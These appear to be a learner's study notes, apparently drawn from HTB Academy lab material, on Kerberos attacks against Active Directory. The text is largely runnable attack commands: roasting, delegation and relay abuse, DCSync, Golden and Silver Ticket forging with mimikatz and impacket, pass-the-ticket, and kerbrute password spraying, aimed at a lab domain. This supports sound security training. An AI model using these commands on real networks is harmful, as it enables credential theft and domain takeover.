Kerberos Attacks
When I am studying, I have taken notes. I am sharing my notes. The notes are from mostly HTB Academy.
There are mainly 3 types of kerberos attacks.
- Ticket Requesting Attacks : AS-REP, TGS-REP tickets
- Asrep Roasting : Targets TGT
- Kerberoasting : Targets TGS and service account password
2. Kerberos Delegation Attacks : Impersonate a user access
- Unconstrained Delegation
- Constained Delegation
- Resource Based Constrained Delegation
3. Ticket Forging Attacks : TGT is encrypted with KDC key, TGS is encrypted with service account key. If we steal one of them, then we can forge TGT and TGS.
- Silver Ticket for TGS
- Golden Ticket for TGT
1. Ticket Requesting Attacks
1. Asrep-Roasting
Asrep-roasting arises from “Pre-Authentication”. AS-REQ means authentication. AS-REQ contains username information and authenticator.
AS-REP-Roastable means, there is no need for pre-authentication for that user. Pre-authentication is disabled. That means that whoever request TGT, KDC sends TGT. AS-REP contains TGT with encrypted user password. With brute-force, we can crack user’s password.
For enumeration, we can use, impacket, Powerview, crackmapexec, Powershell AD module.
For attacking, Impacket, the Rubeus toolkit, crackmapexec can be used.
There is more advanced type of this attack. If an attacker has GenericWrite or GenericAll permissions over an account, they can enable this attribute to get A-REP ticket. This is also known as targeted AS-REPRoasting attack.
enumeration
- Powerview
Import-Module .\PowerView.ps1
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
2. Rubeus
Rubeus.exe asreproast /format:hashcat
.\Rubeus.exe asreproast /nowrap
3. Crackmapexec
crackmapexec ldap LDAPFQDN -u users.txt -p '' --asreproast asreproast.out
#if we have a username credential info, to enlarge our knowledge, we can use
#the method below:
crackmapexec ldap dc01.inlanefreight.htb -u grace -p Inlanefreight01! --asreproast asreproast.out
4. GetNPUsers.py from impacket
.\Rubeus.exe asreproast /user:jenna.smith /domain:inlanefreight.local /dc:dc01.inlanefreight.local /nowrap /outfile:hashes.txt
hashcat.exe -m 18200 C:\Tools\hashes.txt C:\Tools\rockyou.txt -O
OR
GetNPUsers.py DOMAIN/USER #for enumeration
GetNPUsers.py DOMAIN/USER -request
Targeted Asrep-Roasting
If you have GenericAll privilege on an account, instead of resetting the password, we can enable DONT_REQ_PREAUTH flag to make this user asrep-roastable.
To make it- we can use powerview.
Import-Module .\PowerView.ps1
Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose
Kerberoasting
We can get SPN by using lots of methods. For example:
1 — Powerview
Import-Module .\PowerView.ps1
Get-DomainUser -SPN
#lets get service ticket
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
cat .\tgs.csv
#for more automatic way,
Import-Module .\PowerView.ps1
Invoke-Kerberoast
2 — Rubeus
Rubeus.exe kerberoast /nowrap
NOTE : RC4 encrypted ticket starts with $krb5tgs$23$*
while AES encrypted ticket starts with $krb5tgs$18$*
cracking
hashcat.exe -m 13100 C:\Tools\kerb.txt C:\Tools\rockyou.txt -O
NOT: If we dont have a valid credential, we can use a method. To use this method, we need 2 things:
Username of an account with preauthentication disabled (DONT_REQ_PREAUTH)
A target SPN or a lsit of SPNs
# we will use Rubeus's createnetonly utility.
Rubeus.exe createnetonly /program:cmd.exe /show
# assume that dua.lipa user has DONT_REQ_PREAUTH property
Rubeus.exe kerberoast /nopreauth:dua.lipa /domain:inlanefreight.local /spn:MSSQLSvc/SQL01:1433 /nowrap
3. GetUserSPNs.py from impacket
GetUserSPNs.py inlanefreight.local/chester
GetUserSPNs.py inlanefreight.local/chester -request
hashcat -m 13100 hashes.txt rockyou.txt
2. Kerberos Delegation Attacks
Unconstrained Delegation
The Kerberos protocol allows a user to authenticate to a service to use it, and Kerberos delegation enables that service to authenticate to another service as the original user.
In this example, a user authenticates to WEBSRV to access the website. Once authenticated on the website, the user needs to access information stored in a database, but should not be given access to all the information within it. The service account managing the website must communicate with the database using the user’s rights so that the database only gives access to resources that the user has the right to access. This is where delegation comes into play. The service account, here WEBSRV$, will pretend to be the user when accessing the database. This is called delegation.(HTB-Academy)
If we are able to compromise a server that has unconstrained delegation enabled, and a Domain Administrator subsequently logs in, we will be able to extract their TGT and use it to move laterally and compromise other machines, including Domain Controllers.
In the properties of machine, we see the option is chosen as you can see above.
Only an administrator or a privileged user to whom these privileges have been explicitly given can set this option to other accounts. More specifically, it is necessary to have the SeEnableDelegationPrivilege privilege to perform this action. A service account cannot modify itself to add this option.
Specifically, when this option is enabled, the TRUSTED_FOR_DELEGATION flag is set on the account in the User Account Control (UAC) flags.
To determine if there is a TGT ticket in a TGS ticket, rubeus can find it by using the command below:
.\Rubeus.exe monitor /interval:5 /nowrap
Using a ticket to request another ticket:
.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt
In case the above command doesn’t work, we can also use the renew action to get a brand new TGT instead of a TGS ticket:
.\Rubeus.exe renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt
mimikatz.exe
lsadump::dcsync /user:jefferson.matts
Once we have the TGS or the TGT we can effectively list the contents of the Domain Controller file system as shown in the following command.
dir \\dc01.inlanefreight.local\c$
Constrained Delegation
A service account impersonate users but just for a list of services.
First, we will use PowerView to find users and computers with constrained delegation privileges.
Import-Module .\PowerView.ps1
Get-DomainComputer -TrustedToAuth
The account DMZ01$
has TRUSTED_TO_AUTH_FOR_DELEGATION
UAC attribute set, which means it has constrained delegation with protocol transition
set, and the only allowed service for delegation is www/WS01.inlanefreight.local
.
Requesting Valid TGS Ticket
.\mimikatz.exe privilege::debug sekurlsa::msv exit
privilege::debug
sekurlsa::msv
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt
We can check our new ticket with the klist
command
klist
#winrm session with current ticket
Enter-PSSession ws01.inlanefreight.local
from linux:
findDelegation.py INLANEFREIGHT.LOCAL/carole.rose:jasmine
getST.py -spn TERMSRV/DC01 'INLANEFREIGHT.LOCAL/beth.richards:B3thR!ch@rd$' -impersonate Administrator
This will generate a ticket and save it as Administrator.ccache
in the current directory. Once we have this valid ticket to access the TERMSRV
service on DC01
as Administrator
, we can use it with psexec.py
from impacket
, after exporting its path to the environment variable KRB5CCNAME
. This tool will update the SPN in this TGS on the fly to get an interactive shell. The -debug
flag is added on purpose so you can see what's going on.
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01 -debug
Unconstrained Delegation — Users- Kerberos Relay Attack
This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record
to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns
. This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.
Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
We need an account with GenericWrite
privileges on the compromised account.
This attack aims to create a DNS record that will point to our attack machine. This DNS record will be a fake computer in the Active Directory environment. Once this DNS record is registered, we will add the SPN CIFS/our_dns_record
to the account we compromised, which is in an unconstrained delegation. So, if a victim tries to connect via SMB to our fake machine, it will ship a copy of its TGT in its TGS ticket since it will ask for a ticket for CIFS/our_registration_dns
. This TGS ticket will be sent to the IP address we chose when registering the DNS record, i.e., our attack machine. All we have to do then is extract the TGT and use it.(HTB-Academy)
git clone -q https://github.com/dirkjanm/krbrelayx; cd krbrelayx
python dnstool.py -u INLANEFREIGHT.LOCAL\\pixis -p p4ssw0rd -r roguecomputer.INLANEFREIGHT.LOCAL -d 10.10.14.2 --action add 10.129.1.207
nslookup roguecomputer.inlanefreight.local dc01.inlanefreight.local
python addspn.py -u inlanefreight.local\\pixis -p p4ssw0rd --target-type samname -t sqldev -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local
Any account trying to authenticate via SMB to roguecomputer.inlanefreight.local
will have a copy of its TGT in its requested TGS ticket.
sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
Leveraging PrinterBug
python3 printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local
python dementor.py -u pixis -p p4ssw0rd -d inlanefreight.local roguecomputer.inlanefreight.local dc01.inlanefreight.local
Krbrelayx: performing the attack
sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58
export KRB5CCNAME=./DC01\$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache
secretsdump.py -k -no-pass dc01.inlanefreight.local
Golden Ticket
The Golden Ticket
attack enables attackers to forge and sign TGTs (Ticket Granting Tickets) using the krbtgt
account's password hash. When these tickets get presented to an AD server, the information within them will not be checked at all and will be considered valid due to being signed with krbtgt
account's password hash. (HTB Academy)
All the information about a user is contained in PAC. The PAC is copied into each TGS ticket so that service accounts know who they are dealing with. Therefore, this information must be adequately protected so users cannot arbitrarily change it.
If an attacker steals krbtgt, then they can decypher any TGT and PAC within it. Thus, the attacker can modify all the information( which group the user belongs to etc.).
Once full domain compromise is achieved, an attacker can extract the NTLM hash of the krbtgt
account using DCSync
(or from the NTDS.DIT
file using a variety of methods).
Different elements are needed to forge a Golden Ticket:
Domain Name
Domain SID
Username to Impersonate
KRBTGT's hash
Import-Module .\PowerView.ps1
Get-DomainSID
.\mimikatz.exe
mimikatz # lsadump::dcsync /user:krbtgt /domain:inlanefreight.local
when we get krbtgt hash, we can impersonate Administrator:
mimikatz # kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:810d754e118439bab1e1d13216150299 /ptt
to check which tickets we have
klist
#enter DC by using this ticket
Enter-PSSession dc01
from Linux:
lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids
# we can craft a Golden Ticket using ticketer.py.
ticketer.py -nthash 810d754e118439bab1e1d13216150299 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local Administrator
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass dc01.inlanefreight.local
Silver Ticket
When a user make TGS request, the user uses TGT. The KDC or DC will send TGS. The TGS-REP contains TGT and PAC (All the user info, which group she belongs to etc). TGT and PAC is encrypted with secret of service account. If an attacker knows the secret, then the attacker can forge the AP-REQ, since she can decrypt the packet. Therefore, the attacker can modify PAC. For example, I belong to the group domain admins. The forged ticket is called Silver Ticket.
attack:
Import-Module .\PowerView.ps1
Get-DomainSID
Let’s say we compromised the SQL01$
account. We have its NTLM hash. We want to craft a TGS ticket to access the SQL01
filesystem. We'll need a CIFS/SQL01
TGS ticket to do so.
mimikatz.exe
# kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ptt
we can ensure that we have the ticket by using klist.
klist
dir //sql01.inlanefreight.local/c$
Note: We can also create a
Sacrificial Process
. Let’s create a ticket and save it insql01.kirbi
:mimikatz.exe "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit
create a sacrifical process
Rubeus.exe createnetonly /program:cmd.exe /show
import new ticket into the section
Rubeus.exe ptt /ticket:sql01.kirbi
PSExec.exe -accepteula \\sql01.inlanefreight.local cmd
silver ticket from linux
get domain sid
lookupsid.py inlanefreight.local/pixis@dc01.inlanefreight.local -domain-sids
craft silver ticket using ticketer.py
ticketer.py -nthash ff955e93a130f5bb1a6565f32b7dc127 -domain-sid S-1-5-21-2974783224-3764228556-2640795941 -domain inlanefreight.local -spn cifs/sql01.inlanefreight.local Administrator
export KRB5CCNAME=./Administrator.ccache
smbclient.py -k -no-pass sql01.inlanefreight.local
using psexec
export KRB5CCNAME=./Administrator.ccache
psexec.py -k -no-pass sql01.inlanefreight.local
Pass the ticket
The Pass-the-Ticket
(PtT
) attack is a method of lateral movement without touching LSASS.
Pass-the-Ticket takes the user’s Ticket Granting Ticket (TGT) or Ticket Granting Service (TGS) Ticket. The TGT is a signed ticket that contains a list of privilege levels.
A sacrificial process
creates a new Logon Session and passes tickets to that session.
The Rubeus action createnetonly creates a sacrifical process
, and the future commands will use the /LUID:0xdeadbeef
to interact with it.
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
we can see all the tickets we can read by using triage option in Rubeus.
.\Rubeus.exe triage
extract the ticket:
.\Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap
Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA<SNIP> /ptt
Account Enumeration and Password Spraying using Kerberos
username enumeration
Bruteforcing Windows usernames and passwords with Kerberos is very fast and potentially stealthier than other methods since pre-authentication failures do not trigger that “traditional” An account failed to log on
event 4625
. With Kerberos, you can validate a username or test a login by only sending one UDP frame to the KDC (Domain Controller).
You should find kerbrute binary.
mv ~/Downloads/kerbrute_linux_amd64 kerbrute
chmod +x ./kerbrute
./kerbrute
To enumerate usernames, Kerbrute
sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN
error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and move on. This does not cause logon failures, so it will not lock out any accounts. This generates a Windows event ID 4768
if Kerberos logging is enabled.
kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local
password spraying
kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local
Additional Notes
checking password last set
Get-ADUser krbtgt -Property PasswordLastSet